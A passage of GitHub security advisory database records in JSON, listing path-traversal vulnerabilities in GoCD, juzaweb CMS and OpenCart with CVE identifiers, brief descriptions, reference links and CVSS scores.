      "url": "https://git.kernel.org/stable/c/69c7eeb4f622c2a28da965f970f982db171f3dc6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7a96d85bf196c170dcf1b47a82e9bb97cca69aa6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8f860c8407470baff2beb9982ad6b172c94f1d0a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c430e6bb43955c6bf573665fcebf31694925b9f7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e8ca3e73301e23e8c0ac0ce2e6bac4545cd776e0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f8cf4dabbdcb8bef85335b0ed7ad5b25fd82ff56"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fece80a2a6718ed58487ce397285bb1b83a3e54e"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-43289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-14T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in ThoughtWorks GoCD before 21.3.0. An attacker who has compromised a GoCD agent can upload a malicious file into an arbitrary directory of a GoCD server, but does not control the filename.",
  "id": "GHSA-522c-r5fp-4rxh",
  "modified": "2022-04-27T00:00:35Z",
  "published": "2022-04-15T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43289"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f"
    },
    {
      "type": "WEB",
      "url": "https://blog.sonarsource.com/gocd-vulnerability-chain"
    },
    {
      "type": "WEB",
      "url": "https://www.gocd.org/releases/#21-3-0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-7551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-06T13:15:57Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in juzaweb CMS up to 3.4.2. It has been classified as problematic. Affected is an unknown function of the file /admin-cp/theme/editor/default of the component Theme Editor. The manipulation leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-273696. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-524f-m549-hffh",
  "modified": "2024-08-06T15:30:54Z",
  "published": "2024-08-06T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DeepMountains/Mirage/blob/main/CVE9-1.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.273696"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.273696"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.381444"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2013-1891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In OpenCart 1.4.7 to 1.5.5.1, implemented anti-traversal code in filemanager.php is ineffective and can be bypassed.",
  "id": "GHSA-524g-q546-2rwr",
  "modified": "2022-07-08T00:00:46Z",
  "published": "2022-06-25T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1891"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2013/Mar/176"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2013/03/24/1"
    },
    {
      "type": "WEB",
      "url": "http://www.waraxe.us/advisory-98.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}